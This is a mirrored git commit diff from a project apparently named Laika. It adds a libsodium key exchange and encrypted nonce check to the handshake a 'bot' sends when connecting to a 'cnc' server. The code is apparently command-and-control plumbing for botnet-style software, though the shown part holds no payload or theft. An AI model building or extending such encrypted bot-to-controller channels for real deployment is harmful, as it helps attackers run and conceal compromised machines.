1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-29 05:00:04 +00:00

Added key exchange to LAIKA_HANDSHAKE_*

- test keys are defined in laika.h
- bug fixes & refactoring with laikaM_growarray()
This commit is contained in:
2022-01-27 19:55:28 -06:00
parent 203b5ce38f
commit a023929190
11 changed files with 129 additions and 15 deletions

View File

@@ -6,10 +6,12 @@
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lrsa.h"
struct sLaika_bot {
struct sLaika_peer *peer;
uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
struct sLaika_pollList pList;
struct sLaika_peer *peer;
};
struct sLaika_bot *laikaB_newBot(void);

View File

@@ -1,17 +1,30 @@
#include "lmem.h"
#include "lrsa.h"
#include "lerror.h"
#include "bot.h"
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE
};
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
switch (id) {
case LAIKAPKT_HANDSHAKE_RES: {
uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE];
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
/* read & decrypt nonce */
laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
if (crypto_box_seal_open(nonce, encNonce, crypto_box_SEALBYTES + LAIKA_NONCESIZE, bot->pub, bot->priv) != 0)
LAIKA_ERROR("Failed to decrypt nonce!\n");
/* check nonce */
if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
LAIKA_ERROR("Mismatched nonce!\n");
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc!\n")
break;
}
@@ -22,6 +35,7 @@ void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
struct sLaika_bot *laikaB_newBot(void) {
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
size_t _unused;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
@@ -30,7 +44,26 @@ struct sLaika_bot *laikaB_newBot(void) {
&bot->pList,
(void*)bot
);
laikaS_setKeys(bot->peer, bot->priv, bot->pub);
/* generate keypair */
if (sodium_init() < 0) {
laikaB_freeBot(bot);
LAIKA_ERROR("LibSodium failed to initialize!\n");
}
if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to gen keypair!\n");
}
if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
laikaB_freeBot(bot);
LAIKA_ERROR("Failed to init cnc public key!\n");
}
/* gen nonce test */
randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
return bot;
}
@@ -41,6 +74,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE];
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
@@ -49,11 +83,17 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaP_addSock(&bot->pList, sock);
/* encrypt nonce using cnc's pubkey */
if (crypto_box_seal(encNonce, bot->nonce, sizeof(bot->nonce), bot->peer->peerPub) != 0)
LAIKA_ERROR("Failed to enc nonce!\n");
/* queue handshake request */
laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_write(sock, encNonce, sizeof(encNonce)); /* write encrypted nonce test */
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
if (!laikaS_handlePeerOut(bot->peer))
LAIKA_ERROR("failed to send handshake request!\n")